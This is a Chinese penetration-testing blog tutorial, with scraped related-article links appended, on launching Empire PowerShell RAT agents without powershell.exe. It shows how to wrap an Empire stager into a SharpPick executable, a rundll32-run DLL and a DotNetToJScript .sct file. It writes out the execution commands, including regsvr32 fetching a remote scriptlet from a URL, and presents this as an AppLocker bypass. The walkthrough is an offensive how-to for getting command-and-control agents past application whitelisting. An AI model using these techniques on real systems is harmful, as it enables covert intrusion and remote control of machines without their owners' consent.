无 PowerShell.exe 执行 Empire 的几种姿势
在实战中,Empire成为域渗透、后渗透阶段一大利器,而Empire是一个Powershell RAT,所以PowerShell必须要能运行Empire中几乎所有的启动方法都依赖于使用PowerShell.exe的功能。但是如果在无法调用powershell.exe环境下(客户端已经使用AppLocker阻止了Powershell.exe运行)利用empire就需要一些技巧和方法了。
powershell.exe进程只是为System.Management.Automation.dll的实现提供了一个DLL Host。而它的核心,实际上就是System.Management.Automation.dll,这也是PowerShell的真实身份。此外,还有其他本地Windows进程同样也作为PowerShell的Host,比如powershell_ise.exe。
然而,我们也可以创建自己的进程来为System.Management.Automation.dll提供Host。目前已经有一些开源项目实现了这一点,例如
UnmanagedPowerShell,(https://github.com/leechristensen/UnmanagedPowerShell)、SharpPick(https://github.com/PowerShellEmpire/PowerTools/tree/master/PowerPick/SharpPick)、PSAttack(https://github.com/jaredhaight/PSAttack)以及nps(https://github.com/Ben0xA/nps)。
当然,使用PowerShell的优势之一在于,PowerShell.exe是经过微软签名的二进制文件,会被应用程序加入白名单,方便我们的使用。而自己创建的进程则不会被应用程序所信任,但是通过这样的方式,可以在powershell.exe被禁用的情况下执行PowerShell。
环境: kali linux 192.168.190.141(攻击机)
Windows 8 192.168.190.149 (靶机)
0x01 构建Empire.exe
用到的工具SharpPick (https://github.com/PowerShellEmpire/PowerTools)
用Visual Studio打开下载好的PowerPick项目,不过我用的是vs2012,2010/2012的好处在于,它带有越来越难找到的旧的.NET库。
首先,你需要混淆一些项目属性。改变程序和程序集信息的名称。可以通过菜单“项目-SharpPick 属性”来做到。确保修改“输出类型”为“Windows应用程序”,以便当你双击运行或者从CLI执行后,它能在后台运行。

点击“程序集信息”按钮,并修改属性。

现在你还要将Program.cs中的代码修改如下:


字符串“stager”只包含base64编码的Empire启动器的信息。比如我把empire生成powershell的base64作为传递给RunPS()函数的参数(需base64解码后),该函数将PowerShell命令发送给System.Management.Automation,这里是PowerShell的魅力所在。将直接进入Windows核心。


现在在菜单中选择“生成-生成解决方案”或者点击“F6”。生成的二进制文件位于
PowerPick\bin\x86\Debug

你可能会遇到关于ReflectivePick不能生成的错误。你能选择菜单“生成-配置管理器”,并从“项目上下文”中去除“ReflectivePick”。因为我们不需要它。

双击可执行文件来测试下二进制文件,或者在CLI中运行测试。在你启动或执行后它应该是运行于后台的。


0x02 构建Empire.dll
https://github.com/johnjohnsp1/AllTheThings
就像EXE一样,打开项目并改变这些属性。在项目属性中需要更改的其他重要事项是“输出类型”,它需要更改为 “类库”。你也应该将“启动对象”设置为下拉菜单中的默认值(基于你的命名空间和类名称)。

接下来,安装Visual Studio的nuget包管理器。一旦安装完成,你需要通过运行以下命令来获取依赖关系“UnmanagedExports”:



接下来,打开“Program.cs”,并更改你的代码看起来像下面这样,除了几个“using”语句未显示,但大部分都包含在gist中:

如果出现这样的显示引用错误的情况,我们需要在项目里自己添加引用





再次去“构建 – >构建解决方案”或点击“F6”,你应该在你的构建目录中会生成一个LegitLibrary.dll(和上面一样)。
通过运行以下步骤来测试新的DLL
rundll32.exe LegitLibrary.dll,EntryPoint
这应该会返回一个新的代理到你的EmpireC2。如果你查看Process Explorer,你将看到rundll32作为一个新的进程运行。

0x03构建Empire.sct
这种方式可能是最复杂的,因为它涉及到一些比较繁琐的步骤。最终结果基本上是这样的:将PowerShell转换成.NET应用程序,将该.NET应用程序转换为一个javascript文件中的base64编码的二进制文件,然后将其填充到.SCT中。你可以使用regsvr32调用该脚本,该脚本可以执行在你的Web /文件服务器上存放的.SCT的JavaScript代码。
我们的目标是Empire.exe有效载荷,但是要转换为base64。项目选项应该与你为Empire.exe所做的相同,换句话说就是“Windows应用程序”。代码有点不一样,因为JavaScript需要一些公共方法来实现和执行我们的代码。


解决方法:
需要添加引用NDesk.Options
下载地址:
解压缩,工程-添加引用-浏览-NDesk.Options.dll
重新编译

构建后,去目录找到你生成的二进制,它应该是一个exe。
接下来,去下载DotNetToJScript 并在Visual Studio中打开该项目,将其.NET目标更改为“.NET 3.5”(或2.0)项目选项并编译(构建)它。一旦构建,找到DotNetToJScript.exe和它的配套NDesk.Options.dll,并将它们放在与LegitScript.exe二进制文件相同的位置。
运行以下命令(-c是入口点,更改为你选择的namespace.class):
. DotNetToJScript.exe -c = LegitScript.Program -o = legitscript.js legalscript.exe
这应该会输出一个legalscript.js。DotNetToJScript输出有其他几种语言,包括用于嵌入Office文档的VBA和VBScript,或者你可能需要的其他东西。
你可以通过运行以下步骤进行下一步的测试:
wscript.exe legalscript.js
执行后应该会在后台启动一个新的代理工作站。它将作为进程监视器中的“wscript”运行。
如果你已经确认这正常的工作了,那么现在是把它包装成一个.sct,所以我们可以用regsvr32.exe来调用它。
将legalscript.js的全部内容放入CDATA标签。你可以使用以下方式获取Empire中的XML格式:
(Empire:usestager windows / launcher_sct
设置无关紧要,但你可以将其设置为监听器,并确保“OutFile”设置为null或“”空值,因为这将打印内容并进行屏幕显示。如果你从Empire获取内容,请从CDATA标签中删除所有内容,并将其替换为legalscript.js。

保存为2legit.sct并进行测试:
regsvr32 / s / n / u /i:2legit.sct scrobj.dll
这会再次返回一个新的代理。你可以将该.sct保存到你的网络或文件服务器,并用“/i:https ://example.com/2legit.sct””远程替换“/i:” 。这是一个AppLocker绕过方式,因为regsvr32.exe是Microsoft签名的二进制文件。
无 PowerShell.exe 执行 Empire 的几种姿势的更多相关文章
- 【转】unittest执行测试用例的N种姿势总结
原文地址:https://www.cnblogs.com/fighter007/p/9514453.html 1.我们写几个方法,用来做测试用例 2.我们在另一文件中引用这个模块下面的所有类方法,先看 ...
- unittest执行测试用例的N种姿势总结
1.我们写几个方法,用来做测试用例 2.我们在另一文件中引用这个模块下面的所有类方法,先看第一种方法: 运行结果: 缺点:每个用例都需要加载到测试套件中,如果有1000个用例,要写1000次重复的代码 ...
- powershell脚本执行绕过powershell下脚本执行限制(cmd下执行)以及在cmd下隐藏脚本窗口
powershell脚本执行绕过powershell下脚本执行限制(cmd下执行) powershell脚本运行方式有两种,一种是powshell中运行,另一种是在cmd中(在某些情况下相当有用) p ...
- C#中得到程序当前工作目录和执行目录的五种方法
string str="";str += "\r\n" + System.Diagnostics.Process.GetCurrentProcess().Mai ...
- python中执行shell的两种方法总结
这篇文章主要介绍了python中执行shell的两种方法,有两种方法可以在Python中执行SHELL程序,方法一是使用Python的commands包,方法二则是使用subprocess包,这两个包 ...
- Python3.x:打包为exe执行文件(window系统)
Python3.x:打包为exe执行文件(window系统) window系统下发布: 一.安装pyinstaller(PyInstaller 3.3.1) cmd安装命令: pip install ...
- PowerShell 远程执行命令
PowerShell 远程执行命令 最近在做一些自动化的测试工作,在代码实现的过程中需要远程启动/关闭一些服务或者测试机. 我首先想到的是建立一个website,通过网站对一些服务进行操作,但是这样感 ...
- bytectf2019 boring_code的知识学习&&无参数函数执行&&上海市大学生CTF_boring_code+
参赛感悟 第三次还是第二次参加这种CTF大赛了,感悟和学习也是蛮多的,越发感觉跟大佬的差距明显,但是还是要努力啊,都大三了,也希望出点成绩.比赛中一道WEB都没做出来,唯一有点思路的只有EZCMS,通 ...
- 终端进程启动失败: shell 可执行文件“C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe”的路径不存在。
因为某些原因重新安装1了vscode 和node 遇到了两个棘手的问题 ctrl + ~ 打开终端提示 " 终端进程启动失败: shell 可执行文件"C:\Windows\S ...
随机推荐
- 任务分线程实现(java)
1.创建一个类,用户存储信息 public class Users { private String userid; private String username; public Users() { ...
- Cookie的临时存储和定时存储
Cookie解决了不同请求的数据共享问题.是由服务器保存在客户端的小文本文件,包含了用户的信息,可以避免用户重复输入用户名和密码进行登录.浏览器请求Cookie,服务器响应时返回Cookie,浏览器存 ...
- Linux、Windows 和 Mac 中的换行符对比
原文地址:Linux.Windows 和 Mac 中的换行符对比 博客地址:http://www.moonxy.com 一.前言 经常使用 Window.Linux 等不同操作系统的开发者,在处理文本 ...
- 无法解析的外部符号,该符号在xxx函数中被引用
无法解析的外部符号.........,该符号在函数.........被引用 在我们敲代码的过程中,我们偶尔会遇到这个问题,这个问题大多数都是因为你自己的程序有问题,而不是缺少相应的库文件.话不多说,直 ...
- FEDay会后-Serverless与云开发,可能是前端的下一站
进化本身是生物体与环境之间持续不断的信息交换的具体表现. -- 摘自<信息简史> 很荣幸在9月21号成都举办的第五届FEDay上作为讲师为大家分享腾讯云在近两年推出的云开发相关的技术和知识 ...
- 代码审计之XSS及修复
xss在平时的测试中,还是比较重要的,如果存在储存型xss,就可以做很多事情了,打cookie,添加管理员等等很多操作. 以下所有代码都是我自己写的,可能有不美观,代码错误等等问题,希望大家可以指正. ...
- Redis数据库之KEY的操作与事务管理
目的 了解并掌握各种数据类型的命令操作方式,以及各种数据类型值的操作方式.同时,主要培养对KEY的操作命令运用的能力.重点掌握对KEY信息的管理.事务常规管理和事务回滚操作. KEYS命令的练习,对K ...
- Robot Framework自定义测试库的作用域的理解
robot framework中,强大的测试库api支持,用户可根据实际需求定义测试库,导入后可使用自定义库中相应的关键字. 当自定义的测试库是类库,则需要考虑一个问题:类实例.用类实现的库可以有内部 ...
- MongoDB的可视化工具(Studio 3T)
前面我们已经介绍了MongoDB怎么安装,接下来要安装他的可视化工具——Studio 3T. 先到这下载一个压缩包,百度网盘,https://pan.baidu.com/s/1M8mlWo334 ...
- 解决mac OSX下安装git出现的"git命令需要使用开发者工具。您要现在安装该工具吗"(19款Mac)
1.本地安装Git ,这里不做说明 2.命令行执行 sudo mv /usr/bin/git /usr/bin/git-system 3.如果提示 权限不足,操作不被允许,关闭Rootless,重启按 ...